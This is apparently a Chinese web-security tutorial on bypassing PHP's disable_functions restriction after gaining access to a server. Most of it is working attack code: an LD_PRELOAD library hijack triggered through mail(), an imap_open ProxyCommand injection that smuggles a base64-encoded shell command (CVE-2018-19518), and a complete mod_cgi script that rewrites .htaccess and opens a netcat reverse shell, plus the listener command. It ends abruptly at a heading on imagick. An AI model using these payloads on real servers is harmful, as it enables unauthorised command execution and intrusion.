web安全-绕过disable_function的各种方式

web安全-绕过disable_function的各种方式

常规函数——生僻函数绕过

不过多解释,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),

偏僻的 popen()、

proc_open()、

pcntl_exec()。 (php >4.2 php =5)

逐一尝试即可。

LD_PRELOAD 预加载绕过

每个程序执行的时候会去动态链接库so文件里面找函数的位置,而我们的目的是让程序去执行我们自定义的动态链接库

LD_PRELOAD这个全局变量指定的so文件会在每个程序本身的so文件之前加载

有sendmail

1
2
export                      #查看当前有的全局变量
export LD_PRELOAD=./test.so #将当前目录下的test.so文件加载到每个程序的动态链接库最前面

查看程序执行了哪些函数。

1
2
readelf -Ws /usr/bin/id
readelf -Ws /usr/sbin/sendmail

比如 id中执行了 getuid()

1
20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getuid@GLIBC_2.2.5 (2)

所以可以编写出 test.c。

1
2
3
4
5
6
7
8
9
10
#include <stdlib.h>
#include <stdio.h>

int getuid(){
if(getenv("LD_PRELOAD") == NULL){
return 0;
}
unsetenv("LD_PRELOAD");
system("echo 'hello' > hello.txt");
}

利用

1
2
gcc -c -fPIC test.c -o test
gcc -shared test -o test.so
1
export LD_PRELOAD=./test2.so

在php中如果把so文件传上去了后,可以利用putenv函数来设置全局变量

能够触发外部命令的函数有mail(),error_log(),这2个函数都是会调用sendmail命令,这个sendmail软件是linux下用来发送邮件的(如果没有可用使用apt-get install sendmail安装)

1
2
3
4
5
<?php
putevn("LD_PRELOAD=./test2.so");
mail("","","","");
//error_log("err",1,"","");
?>

无sendmail的利用

imap_open()

CVE漏洞CVE-2018-19518imap_open()函数。

这个函数它是用来发送邮件的,它使用的是rsh连接远程的shell,但是在ubuntudebain下,它是使用的ssh。

而ssh的-oProxyCommand参数能够带命令的,比如

1
ssh -oProxyCommand="touch test.txt" 10.10.10.10

php中的写法

1
2
3
4
5
6
<?php
$exp = "echo test!test! > /tmp/test";
$base64_exp = base64_encode($exp);
$server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
?>

mod_cgi

利用 mod_cgi 模块执行CGI脚本反弹shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
$cmd = "nc -c'/bin/bash' 127.0.0.1 4444"; //反弹一个shell出来,这里用本地的4444端口
$shellfile ="#!/bin/bash\n"; //指定shell
$shellfile .="echo -ne \"Content-Type: text/html\\n\\n\"\n"; //需要指定这个header,否则会返回500
$shellfile .="$cmd";
functioncheckEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ?$yes : $no) . "<br>\n";
}
if(!isset($_GET['checked']))
{
@file_put_contents('.htaccess',"\nSetEnv HTACCESS on", FILE_APPEND);
header('Location: ' . $_SERVER['PHP_SELF']. '?checked=true'); //执行环境的检查
}
else
{
$modcgi = in_array('mod_cgi',apache_get_modules()); // 检测mod_cgi是否开启
$writable = is_writable('.'); //检测当前目录是否可写
$htaccess = !empty($_SERVER['HTACCESS']);//检测是否启用了.htaccess
checkEnabled("Mod-Cgienabled",$modcgi,"Yes","No");
checkEnabled("Iswritable",$writable,"Yes","No");
checkEnabled("htaccessworking",$htaccess,"Yes","No");
if(!($modcgi && $writable&& $htaccess))
{
echo "Error. All of the above mustbe true for the script to work!"; //必须满足所有条件
}
else
{
checkEnabled("Backing
up.htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded!Saved in
.htaccess.bak","Failed!"); //备份一下原有.htaccess
checkEnabled("Write
.htaccessfile",file_put_contents('.htaccess',"Options
+ExecCGI\nAddHandlercgi-script
.dizzle"),"Succeeded!","Failed!");//.dizzle,我们的特定扩展名
checkEnabled("Write shellfile",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!");//写入文件
checkEnabled("Chmod777",chmod("shell.dizzle",0777),"Succeeded!","Failed!");//给权限
echo "Executing the script now.Check your listener <img src = 'shell.dizzle' style ='display:none;'>"; //调用
}
}
?>
1
2
# 攻击机上监听端口
nc -lvvp 4444

获得shell后可以正常执行命令

蚁剑

意见的拓展模块集成了 LD_PRELOAD \ fastcgi 等各种攻击脚本,可以直接利用,verygood!

第三方服务绕过

imagick